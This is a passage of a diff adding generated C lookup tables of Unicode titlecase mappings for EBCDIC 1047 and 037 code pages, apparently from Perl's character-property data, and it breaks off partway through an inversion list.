+	0x210,
+	0,
+	0x212,
+	0,
+	0x214,
+	0,
+	0x216,
+	0,
+	0x218,
+	0,
+	0x21A,
+	0,
+	0x21C,
+	0,
+	0x21E,
+	0,
+	0x222,
+	0,
+	0x224,
+	0,
+	0x226,
+	0,
+	0x228,
+	0,
+	0x22A,
+	0,
+	0x22C,
+	0,
+	0x22E,
+	0,
+	0x230,
+	0,
+	0x232,
+	0,
+	0x23B,
+	0,
+	0x2C7E,
+	0,
+	0x241,
+	0,
+	0x246,
+	0,
+	0x248,
+	0,
+	0x24A,
+	0,
+	0x24C,
+	0,
+	0x24E,
+	0x2C6F,
+	0x2C6D,
+	0x2C70,
+	0x181,
+	0x186,
+	0,
+	0x189,
+	0,
+	0x18F,
+	0,
+	0x190,
+	0xA7AB,
+	0,
+	0x193,
+	0xA7AC,
+	0,
+	0x194,
+	0,
+	0xA78D,
+	0xA7AA,
+	0,
+	0x197,
+	0x196,
+	0xA7AE,
+	0x2C62,
+	0xA7AD,
+	0,
+	0x19C,
+	0,
+	0x2C6E,
+	0x19D,
+	0,
+	0x19F,
+	0,
+	0x2C64,
+	0,
+	0x1A6,
+	0,
+	0x1A9,
+	0,
+	0xA7B1,
+	0x1AE,
+	0x244,
+	0x1B1,
+	0x245,
+	0,
+	0x1B7,
+	0,
+	0xA7B2,
+	0xA7B0,
+	0,
+	0x399,
+	0,
+	0x370,
+	0,
+	0x372,
+	0,
+	0x376,
+	0,
+	0x3FD,
+	0,
+	TC_use_AUX_TABLE_4,
+	0,
+	0x386,
+	0x388,
+	TC_use_AUX_TABLE_5,
+	0x391,
+	0x3A3,
+	0x3A3,
+	0x38C,
+	0x38E,
+	0,
+	0x392,
+	0x398,
+	0,
+	0x3A6,
+	0x3A0,
+	0x3CF,
+	0,
+	0x3D8,
+	0,
+	0x3DA,
+	0,
+	0x3DC,
+	0,
+	0x3DE,
+	0,
+	0x3E0,
+	0,
+	0x3E2,
+	0,
+	0x3E4,
+	0,
+	0x3E6,
+	0,
+	0x3E8,
+	0,
+	0x3EA,
+	0,
+	0x3EC,
+	0,
+	0x3EE,
+	0x39A,
+	0x3A1,
+	0x3F9,
+	0x37F,
+	0,
+	0x395,
+	0,
+	0x3F7,
+	0,
+	0x3FA,
+	0,
+	0x410,
+	0x400,
+	0,
+	0x460,
+	0,
+	0x462,
+	0,
+	0x464,
+	0,
+	0x466,
+	0,
+	0x468,
+	0,
+	0x46A,
+	0,
+	0x46C,
+	0,
+	0x46E,
+	0,
+	0x470,
+	0,
+	0x472,
+	0,
+	0x474,
+	0,
+	0x476,
+	0,
+	0x478,
+	0,
+	0x47A,
+	0,
+	0x47C,
+	0,
+	0x47E,
+	0,
+	0x480,
+	0,
+	0x48A,
+	0,
+	0x48C,
+	0,
+	0x48E,
+	0,
+	0x490,
+	0,
+	0x492,
+	0,
+	0x494,
+	0,
+	0x496,
+	0,
+	0x498,
+	0,
+	0x49A,
+	0,
+	0x49C,
+	0,
+	0x49E,
+	0,
+	0x4A0,
+	0,
+	0x4A2,
+	0,
+	0x4A4,
+	0,
+	0x4A6,
+	0,
+	0x4A8,
+	0,
+	0x4AA,
+	0,
+	0x4AC,
+	0,
+	0x4AE,
+	0,
+	0x4B0,
+	0,
+	0x4B2,
+	0,
+	0x4B4,
+	0,
+	0x4B6,
+	0,
+	0x4B8,
+	0,
+	0x4BA,
+	0,
+	0x4BC,
+	0,
+	0x4BE,
+	0,
+	0x4C1,
+	0,
+	0x4C3,
+	0,
+	0x4C5,
+	0,
+	0x4C7,
+	0,
+	0x4C9,
+	0,
+	0x4CB,
+	0,
+	0x4CD,
+	0x4C0,
+	0,
+	0x4D0,
+	0,
+	0x4D2,
+	0,
+	0x4D4,
+	0,
+	0x4D6,
+	0,
+	0x4D8,
+	0,
+	0x4DA,
+	0,
+	0x4DC,
+	0,
+	0x4DE,
+	0,
+	0x4E0,
+	0,
+	0x4E2,
+	0,
+	0x4E4,
+	0,
+	0x4E6,
+	0,
+	0x4E8,
+	0,
+	0x4EA,
+	0,
+	0x4EC,
+	0,
+	0x4EE,
+	0,
+	0x4F0,
+	0,
+	0x4F2,
+	0,
+	0x4F4,
+	0,
+	0x4F6,
+	0,
+	0x4F8,
+	0,
+	0x4FA,
+	0,
+	0x4FC,
+	0,
+	0x4FE,
+	0,
+	0x500,
+	0,
+	0x502,
+	0,
+	0x504,
+	0,
+	0x506,
+	0,
+	0x508,
+	0,
+	0x50A,
+	0,
+	0x50C,
+	0,
+	0x50E,
+	0,
+	0x510,
+	0,
+	0x512,
+	0,
+	0x514,
+	0,
+	0x516,
+	0,
+	0x518,
+	0,
+	0x51A,
+	0,
+	0x51C,
+	0,
+	0x51E,
+	0,
+	0x520,
+	0,
+	0x522,
+	0,
+	0x524,
+	0,
+	0x526,
+	0,
+	0x528,
+	0,
+	0x52A,
+	0,
+	0x52C,
+	0,
+	0x52E,
+	0,
+	0x531,
+	TC_use_AUX_TABLE_6,
+	0,
+	0x13F0,
+	0,
+	0x412,
+	0x414,
+	0x41E,
+	0x421,
+	0x422,
+	0x42A,
+	0x462,
+	0xA64A,
+	0,
+	0xA77D,
+	0,
+	0x2C63,
+	0,
+	0x1E00,
+	0,
+	0x1E02,
+	0,
+	0x1E04,
+	0,
+	0x1E06,
+	0,
+	0x1E08,
+	0,
+	0x1E0A,
+	0,
+	0x1E0C,
+	0,
+	0x1E0E,
+	0,
+	0x1E10,
+	0,
+	0x1E12,
+	0,
+	0x1E14,
+	0,
+	0x1E16,
+	0,
+	0x1E18,
+	0,
+	0x1E1A,
+	0,
+	0x1E1C,
+	0,
+	0x1E1E,
+	0,
+	0x1E20,
+	0,
+	0x1E22,
+	0,
+	0x1E24,
+	0,
+	0x1E26,
+	0,
+	0x1E28,
+	0,
+	0x1E2A,
+	0,
+	0x1E2C,
+	0,
+	0x1E2E,
+	0,
+	0x1E30,
+	0,
+	0x1E32,
+	0,
+	0x1E34,
+	0,
+	0x1E36,
+	0,
+	0x1E38,
+	0,
+	0x1E3A,
+	0,
+	0x1E3C,
+	0,
+	0x1E3E,
+	0,
+	0x1E40,
+	0,
+	0x1E42,
+	0,
+	0x1E44,
+	0,
+	0x1E46,
+	0,
+	0x1E48,
+	0,
+	0x1E4A,
+	0,
+	0x1E4C,
+	0,
+	0x1E4E,
+	0,
+	0x1E50,
+	0,
+	0x1E52,
+	0,
+	0x1E54,
+	0,
+	0x1E56,
+	0,
+	0x1E58,
+	0,
+	0x1E5A,
+	0,
+	0x1E5C,
+	0,
+	0x1E5E,
+	0,
+	0x1E60,
+	0,
+	0x1E62,
+	0,
+	0x1E64,
+	0,
+	0x1E66,
+	0,
+	0x1E68,
+	0,
+	0x1E6A,
+	0,
+	0x1E6C,
+	0,
+	0x1E6E,
+	0,
+	0x1E70,
+	0,
+	0x1E72,
+	0,
+	0x1E74,
+	0,
+	0x1E76,
+	0,
+	0x1E78,
+	0,
+	0x1E7A,
+	0,
+	0x1E7C,
+	0,
+	0x1E7E,
+	0,
+	0x1E80,
+	0,
+	0x1E82,
+	0,
+	0x1E84,
+	0,
+	0x1E86,
+	0,
+	0x1E88,
+	0,
+	0x1E8A,
+	0,
+	0x1E8C,
+	0,
+	0x1E8E,
+	0,
+	0x1E90,
+	0,
+	0x1E92,
+	0,
+	0x1E94,
+	TC_use_AUX_TABLE_7,
+	TC_use_AUX_TABLE_8,
+	TC_use_AUX_TABLE_9,
+	TC_use_AUX_TABLE_10,
+	TC_use_AUX_TABLE_11,
+	0x1E60,
+	0,
+	0x1EA0,
+	0,
+	0x1EA2,
+	0,
+	0x1EA4,
+	0,
+	0x1EA6,
+	0,
+	0x1EA8,
+	0,
+	0x1EAA,
+	0,
+	0x1EAC,
+	0,
+	0x1EAE,
+	0,
+	0x1EB0,
+	0,
+	0x1EB2,
+	0,
+	0x1EB4,
+	0,
+	0x1EB6,
+	0,
+	0x1EB8,
+	0,
+	0x1EBA,
+	0,
+	0x1EBC,
+	0,
+	0x1EBE,
+	0,
+	0x1EC0,
+	0,
+	0x1EC2,
+	0,
+	0x1EC4,
+	0,
+	0x1EC6,
+	0,
+	0x1EC8,
+	0,
+	0x1ECA,
+	0,
+	0x1ECC,
+	0,
+	0x1ECE,
+	0,
+	0x1ED0,
+	0,
+	0x1ED2,
+	0,
+	0x1ED4,
+	0,
+	0x1ED6,
+	0,
+	0x1ED8,
+	0,
+	0x1EDA,
+	0,
+	0x1EDC,
+	0,
+	0x1EDE,
+	0,
+	0x1EE0,
+	0,
+	0x1EE2,
+	0,
+	0x1EE4,
+	0,
+	0x1EE6,
+	0,
+	0x1EE8,
+	0,
+	0x1EEA,
+	0,
+	0x1EEC,
+	0,
+	0x1EEE,
+	0,
+	0x1EF0,
+	0,
+	0x1EF2,
+	0,
+	0x1EF4,
+	0,
+	0x1EF6,
+	0,
+	0x1EF8,
+	0,
+	0x1EFA,
+	0,
+	0x1EFC,
+	0,
+	0x1EFE,
+	0x1F08,
+	0,
+	0x1F18,
+	0,
+	0x1F28,
+	0,
+	0x1F38,
+	0,
+	0x1F48,
+	0,
+	TC_use_AUX_TABLE_12,
+	0x1F59,
+	TC_use_AUX_TABLE_13,
+	0x1F5B,
+	TC_use_AUX_TABLE_14,
+	0x1F5D,
+	TC_use_AUX_TABLE_15,
+	0x1F5F,
+	0,
+	0x1F68,
+	0,
+	0x1FBA,
+	0x1FC8,
+	0x1FDA,
+	0x1FF8,
+	0x1FEA,
+	0x1FFA,
+	0,
+	0x1F88,
+	0,
+	0x1F98,
+	0,
+	0x1FA8,
+	0,
+	0x1FB8,
+	TC_use_AUX_TABLE_16,
+	0x1FBC,
+	TC_use_AUX_TABLE_17,
+	0,
+	TC_use_AUX_TABLE_18,
+	TC_use_AUX_TABLE_19,
+	0,
+	0x399,
+	0,
+	TC_use_AUX_TABLE_20,
+	0x1FCC,
+	TC_use_AUX_TABLE_21,
+	0,
+	TC_use_AUX_TABLE_22,
+	TC_use_AUX_TABLE_23,
+	0,
+	0x1FD8,
+	TC_use_AUX_TABLE_24,
+	TC_use_AUX_TABLE_4,
+	0,
+	TC_use_AUX_TABLE_25,
+	TC_use_AUX_TABLE_26,
+	0,
+	0x1FE8,
+	TC_use_AUX_TABLE_27,
+	TC_use_AUX_TABLE_5,
+	TC_use_AUX_TABLE_28,
+	0x1FEC,
+	TC_use_AUX_TABLE_29,
+	TC_use_AUX_TABLE_30,
+	0,
+	TC_use_AUX_TABLE_31,
+	0x1FFC,
+	TC_use_AUX_TABLE_32,
+	0,
+	TC_use_AUX_TABLE_33,
+	TC_use_AUX_TABLE_34,
+	0,
+	0x2132,
+	0,
+	0x2160,
+	0,
+	0x2183,
+	0,
+	0x24B6,
+	0,
+	0x2C00,
+	0,
+	0x2C60,
+	0,
+	0x23A,
+	0x23E,
+	0,
+	0x2C67,
+	0,
+	0x2C69,
+	0,
+	0x2C6B,
+	0,
+	0x2C72,
+	0,
+	0x2C75,
+	0,
+	0x2C80,
+	0,
+	0x2C82,
+	0,
+	0x2C84,
+	0,
+	0x2C86,
+	0,
+	0x2C88,
+	0,
+	0x2C8A,
+	0,
+	0x2C8C,
+	0,
+	0x2C8E,
+	0,
+	0x2C90,
+	0,
+	0x2C92,
+	0,
+	0x2C94,
+	0,
+	0x2C96,
+	0,
+	0x2C98,
+	0,
+	0x2C9A,
+	0,
+	0x2C9C,
+	0,
+	0x2C9E,
+	0,
+	0x2CA0,
+	0,
+	0x2CA2,
+	0,
+	0x2CA4,
+	0,
+	0x2CA6,
+	0,
+	0x2CA8,
+	0,
+	0x2CAA,
+	0,
+	0x2CAC,
+	0,
+	0x2CAE,
+	0,
+	0x2CB0,
+	0,
+	0x2CB2,
+	0,
+	0x2CB4,
+	0,
+	0x2CB6,
+	0,
+	0x2CB8,
+	0,
+	0x2CBA,
+	0,
+	0x2CBC,
+	0,
+	0x2CBE,
+	0,
+	0x2CC0,
+	0,
+	0x2CC2,
+	0,
+	0x2CC4,
+	0,
+	0x2CC6,
+	0,
+	0x2CC8,
+	0,
+	0x2CCA,
+	0,
+	0x2CCC,
+	0,
+	0x2CCE,
+	0,
+	0x2CD0,
+	0,
+	0x2CD2,
+	0,
+	0x2CD4,
+	0,
+	0x2CD6,
+	0,
+	0x2CD8,
+	0,
+	0x2CDA,
+	0,
+	0x2CDC,
+	0,
+	0x2CDE,
+	0,
+	0x2CE0,
+	0,
+	0x2CE2,
+	0,
+	0x2CEB,
+	0,
+	0x2CED,
+	0,
+	0x2CF2,
+	0,
+	0x10A0,
+	0,
+	0x10C7,
+	0,
+	0x10CD,
+	0,
+	0xA640,
+	0,
+	0xA642,
+	0,
+	0xA644,
+	0,
+	0xA646,
+	0,
+	0xA648,
+	0,
+	0xA64A,
+	0,
+	0xA64C,
+	0,
+	0xA64E,
+	0,
+	0xA650,
+	0,
+	0xA652,
+	0,
+	0xA654,
+	0,
+	0xA656,
+	0,
+	0xA658,
+	0,
+	0xA65A,
+	0,
+	0xA65C,
+	0,
+	0xA65E,
+	0,
+	0xA660,
+	0,
+	0xA662,
+	0,
+	0xA664,
+	0,
+	0xA666,
+	0,
+	0xA668,
+	0,
+	0xA66A,
+	0,
+	0xA66C,
+	0,
+	0xA680,
+	0,
+	0xA682,
+	0,
+	0xA684,
+	0,
+	0xA686,
+	0,
+	0xA688,
+	0,
+	0xA68A,
+	0,
+	0xA68C,
+	0,
+	0xA68E,
+	0,
+	0xA690,
+	0,
+	0xA692,
+	0,
+	0xA694,
+	0,
+	0xA696,
+	0,
+	0xA698,
+	0,
+	0xA69A,
+	0,
+	0xA722,
+	0,
+	0xA724,
+	0,
+	0xA726,
+	0,
+	0xA728,
+	0,
+	0xA72A,
+	0,
+	0xA72C,
+	0,
+	0xA72E,
+	0,
+	0xA732,
+	0,
+	0xA734,
+	0,
+	0xA736,
+	0,
+	0xA738,
+	0,
+	0xA73A,
+	0,
+	0xA73C,
+	0,
+	0xA73E,
+	0,
+	0xA740,
+	0,
+	0xA742,
+	0,
+	0xA744,
+	0,
+	0xA746,
+	0,
+	0xA748,
+	0,
+	0xA74A,
+	0,
+	0xA74C,
+	0,
+	0xA74E,
+	0,
+	0xA750,
+	0,
+	0xA752,
+	0,
+	0xA754,
+	0,
+	0xA756,
+	0,
+	0xA758,
+	0,
+	0xA75A,
+	0,
+	0xA75C,
+	0,
+	0xA75E,
+	0,
+	0xA760,
+	0,
+	0xA762,
+	0,
+	0xA764,
+	0,
+	0xA766,
+	0,
+	0xA768,
+	0,
+	0xA76A,
+	0,
+	0xA76C,
+	0,
+	0xA76E,
+	0,
+	0xA779,
+	0,
+	0xA77B,
+	0,
+	0xA77E,
+	0,
+	0xA780,
+	0,
+	0xA782,
+	0,
+	0xA784,
+	0,
+	0xA786,
+	0,
+	0xA78B,
+	0,
+	0xA790,
+	0,
+	0xA792,
+	0,
+	0xA796,
+	0,
+	0xA798,
+	0,
+	0xA79A,
+	0,
+	0xA79C,
+	0,
+	0xA79E,
+	0,
+	0xA7A0,
+	0,
+	0xA7A2,
+	0,
+	0xA7A4,
+	0,
+	0xA7A6,
+	0,
+	0xA7A8,
+	0,
+	0xA7B4,
+	0,
+	0xA7B6,
+	0,
+	0xA7B3,
+	0,
+	0x13A0,
+	0,
+	TC_use_AUX_TABLE_35,
+	TC_use_AUX_TABLE_36,
+	TC_use_AUX_TABLE_37,
+	TC_use_AUX_TABLE_38,
+	TC_use_AUX_TABLE_39,
+	TC_use_AUX_TABLE_40,
+	0,
+	TC_use_AUX_TABLE_41,
+	TC_use_AUX_TABLE_42,
+	TC_use_AUX_TABLE_43,
+	TC_use_AUX_TABLE_44,
+	TC_use_AUX_TABLE_45,
+	0,
+	0xFF21,
+	0,
+	0x10400,
+	0,
+	0x104B0,
+	0,
+	0x10C80,
+	0,
+	0x118A0,
+	0,
+	0x1E900,
+	0
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV Titlecase_Mapping_invlist[] = { /* for EBCDIC 037 */
+	1332,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x59,
+	0x5A,
+	0x70,
+	0x71,
+	0x81,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9A,
+	0x9C,
+	0x9D,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xCB,
+	0xD0,
+	0xDB,
+	0xDF,
+	0xE0,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x138,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x149,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x17F,
+	0x180,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18D,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19A,
+	0x19B,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BA,
+	0x1BD,
+	0x1BE,
+	0x1BF,
+	0x1C0,
+	0x1C4,
+	0x1C5,
+	0x1C6,
+	0x1C7,
+	0x1C8,
+	0x1C9,
+	0x1CA,
+	0x1CB,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DD,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F0,
+	0x1F1,
+	0x1F2,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x234,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x250,
+	0x251,
+	0x252,
+	0x253,
+	0x254,
+	0x255,
+	0x256,
+	0x258,
+	0x259,
+	0x25A,
+	0x25B,
+	0x25C,
+	0x25D,
+	0x260,
+	0x261,
+	0x262,
+	0x263,
+	0x264,
+	0x265,
+	0x266,
+	0x267,
+	0x268,
+	0x269,
+	0x26A,
+	0x26B,
+	0x26C,
+	0x26D,
+	0x26F,
+	0x270,
+	0x271,
+	0x272,
+	0x273,
+	0x275,
+	0x276,
+	0x27D,
+	0x27E,
+	0x280,
+	0x281,
+	0x283,
+	0x284,
+	0x287,
+	0x288,
+	0x289,
+	0x28A,
+	0x28C,
+	0x28D,
+	0x292,
+	0x293,
+	0x29D,
+	0x29E,
+	0x29F,
+	0x345,
+	0x346,
+	0x371,
+	0x372,
+	0x373,
+	0x374,
+	0x377,
+	0x378,
+	0x37B,
+	0x37E,
+	0x390,
+	0x391,
+	0x3AC,
+	0x3AD,
+	0x3B0,
+	0x3B1,
+	0x3C2,
+	0x3C3,
+	0x3CC,
+	0x3CD,
+	0x3CF,
+	0x3D0,
+	0x3D1,
+	0x3D2,
+	0x3D5,
+	0x3D6,
+	0x3D7,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F0,
+	0x3F1,
+	0x3F2,
+	0x3F3,
+	0x3F4,
+	0x3F5,
+	0x3F6,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FC,
+	0x430,
+	0x450,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x482,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4CF,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x530,
+	0x561,
+	0x587,
+	0x588,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C81,
+	0x1C82,
+	0x1C83,
+	0x1C85,
+	0x1C86,
+	0x1C87,
+	0x1C88,
+	0x1C89,
+	0x1D79,
+	0x1D7A,
+	0x1D7D,
+	0x1D7E,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E96,
+	0x1E97,
+	0x1E98,
+	0x1E99,
+	0x1E9A,
+	0x1E9B,
+	0x1E9C,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
